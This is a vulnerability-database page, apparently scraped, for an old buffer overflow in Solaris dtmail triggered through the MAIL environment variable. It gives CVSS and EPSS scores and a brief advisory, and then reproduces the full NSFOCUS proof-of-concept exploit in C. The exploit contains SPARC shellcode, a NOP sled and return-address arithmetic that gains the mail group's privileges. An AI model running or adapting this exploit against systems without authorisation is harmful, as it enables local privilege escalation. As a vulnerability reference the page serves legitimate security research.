CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Buffer overflow in dtmail in Solaris 2.6 and 7 allows local users to gain privileges via the MAIL environment variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.12%
2025-03-30
–
–
–
–
0.12%
2025-04-15
–
–
–
–
0.12%
2025-04-15
–
–
–
–
0.12,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2001-07-23 22h00 +00:00 Author : NSFOCUS Security Team EDB Verified : Yes
// source: https://www.securityfocus.com/bid/3081/info
dtmail is an application included with the Common Desktop Environment, one of the X Window Managers included with Solaris.
A buffer overflow in dtmail makes it possible for a local user to gain elevated privileges. Due to improper bounds checking, it is possible to cause a buffer overflow in dtmail by filling the MAIL environment variable with 2000 or more characters. This results in the overwriting of stack variables, including the return address, and can allow a local user to gain an effective GID of mail.
/*
* sol_sparc_dtmail_MAIL_ex.c - Proof of Concept Code for dtmail $MAIL overflow bug.
*
* Copyright (c) 2001 - Nsfocus.com
*
* It will run "/bin/id" if the exploit succeed.
* Tested in Solaris 2.6/7 (SPARC).
*
* DISCLAIMS:
* This is a proof of concept code. This code is for test purpose
* only and should not be run against any host without permission from
* the system administrator.
*
* NSFOCUS Security Team <security@nsfocus.com>
* http://www.nsfocus.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>
#include <pwd.h>
struct passwd *pwd;;
#define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */
#define DISPENV "DISPLAY=127.0.0.1:0.0"
#define VULPROG "/usr/dt/bin/dtmail"
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
char shellcode[] =
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e"
"\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec"
"\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
/* get current stack point address */
long
get_sp(void)
{
__asm__("mov %sp,%i0");
}
long
get_shelladdr(long sp_addr, char **arg, char **env, long off)
{
long retaddr;
int i;
char plat[256];
char pad = 0, pad1 = 0, pad2;
int env_len, arg_len, len;
while (1) {
/* calculate the length of "VULPROG" + argv[] */
for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
arg_len += strlen(arg[i]) + 1;
}
/* calculate the pad nummber . */
pad = 3 - arg_len % 4;
memset(env[0], 'A', pad);
env[0][pad] = '\0';
memset(env[2], 'A', pad1);
env[2][pad1] = '\0';
/* get environ length */
for (i = 0, env_len = 0; env[i] != NULL; i++) {
env_len += strlen(env[i]) + 1;
}
/* get platform info */
sysinfo(SI_PLATFORM, plat, 256);
len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;
pad2 = 4 - len % 4;
/* get the exact shellcode address */
retaddr = sp_addr - pad2 /* the trailing zero number */
- strlen(VULPROG) - 1
- strlen(plat) - 1;
for (i--; i > 0; i--)
retaddr -= strlen(env[i]) + 1;
if (!((retaddr + off) & 0xff)) {
pad1 += 8;
continue;
} else if ((retaddr + off) % 8) {
pad1 += 4;
continue;
} else
break;
}
return retaddr;
} /* End of get_shelladdr */
int
main(int argc, char **argv)
{
char buf[4096], home[128], display[256];
char eggbuf[2048];
long retaddr, sp_addr = SP;
char *arg[24], *env[24], *cwd, *charptr;
char padding[64], padding1[64];
unsigned int *ptr;
char *disp;
char ev1[] = "MAIL=";
long ev1_len, i, align;
long overbuflen = 2048;
if (argc > 1)
snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]);
else {
disp = getenv("DISPLAY");
if (disp)
snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp);
else
strncpy(display, DISPENV, sizeof(display) - 1);
}
pwd = getpwuid((uid_t) getuid());
snprintf(home, 127, "HOME=%s", strdup(pwd->pw_dir));
arg[0] = VULPROG;
arg[1] = NULL;
cwd = getcwd((char *) NULL, 256);
overbuflen = overbuflen - (strlen(cwd) + strlen("/"));
ev1_len = strlen(ev1);
bzero(buf, sizeof(buf));
memcpy(buf, ev1, ev1_len);
memset(buf + ev1_len, 'A', overbuflen);
bzero(eggbuf, sizeof(eggbuf));
ptr = (unsigned int *) eggbuf;
for (i = 0; i < sizeof(eggbuf) - strlen(shellcode); i += 4)
*(ptr + i / 4) = NOP;
memcpy(eggbuf + i - 4, shellcode, strlen(shellcode));
env[0] = padding; /* put padding buffer in env */
env[1] = eggbuf; /* put shellcode in env */
env[2] = padding1; /* put padding1 buffer in env */
env[3] = buf; /* put overflow environ */
env[4] = display; /* put display environ */
env[5] = home; /* put home environ */
env[6] = NULL; /* end of env */
/* get stack bottom address */
if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */
sp_addr = SP - 0x0fbf0000;
}
retaddr = get_shelladdr(sp_addr, arg, env, -8);
retaddr -= 8;
printf("Using return address = 0x%x (shelladdrr - 8)\n", retaddr);
printf("Click Local in your X window\n\n");
charptr = (char *) &retaddr;
align = 4 - ((strlen(cwd) + strlen("/")) % 4);
for (i = 0; i < overbuflen - align; i++)
buf[ev1_len + align + i] = *(charptr + i % 4);
execve(VULPROG, arg, env);
perror("execle");
} /* End of main */